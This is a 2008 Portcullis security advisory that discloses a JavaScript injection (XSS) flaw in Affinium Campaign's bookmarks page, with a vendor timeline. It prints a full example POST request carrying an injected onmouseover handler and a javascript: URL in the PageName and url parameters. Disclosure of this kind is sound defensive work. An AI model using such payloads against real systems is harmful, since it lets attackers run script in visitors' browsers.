Tried, Tested and Proven

Security Advisory 08-001 – Affinium Campaign’s bookmarks web page is vulnerable to a JavaScript injection

Vulnerability Title:

The web application’s bookmarks web page is vulnerable to a JavaScript injection.

Vulnerable System:

Affinium Campaign

Vulnerability discovery and development:

Portcullis Security Testing Services

Credit for Discovery:

Tim Brown – Portcullis Computer Security Ltd.

Affected Systems:

All known versions of Affinium Campaign; the vulnerability discovered was for version


It is possible for an attacker to inject JavaScript into the bookmarks web page by manipulating the PageName and url parameters of requests to https://webserver/Campaign/Campaign. For example:

POST /Campaign/Campaign HTTP/1.1
Host: webserver
Cookies: ADMINCONSOLESESSION=HJvLfMGn2KaCJDzcHvv0pbMCldhZNd8vd29g546JL028wcPF08ht!890790959; AMSSESSIONID=HJQKGLYD3jy0BaBckv1G2J1Jh0TJqC8fMp9abvmxG7Ryf0cCJ0Jg!890790959; CAMPAIGNSESSIONID=HJaAjn2Kv99LTaXQ2QZnhNT2nh5VQXSYpSmmf0l1KFLBFnFzVvv5!890790959
Content-Type: application/x-www-form-urlencoded
Content-length: 169

PageName=" onmouseover="javascript:alert('xss')" name="&url=javascript%3Aalert%28%27xss%27%29&function=CustomBookMarkLink&cmd=add&CustomBookmarkFrame=CustomBookmarkReply

The application will accept JavaScript: style URLs. In addition, by injecting into the title field, the input is sanitised on the main page, although it is executed when the bookmark is edited.


An attacker would be able to use this to execute malicious code on a visitors computers.


Exploit code is not required.

Vendor Status:

05/06/2008 – vendor informed

10/06/2008 – Vendor updated

11/06/2008 – Vendor responded via email

16/07/2008 – Vendor confirmed patches


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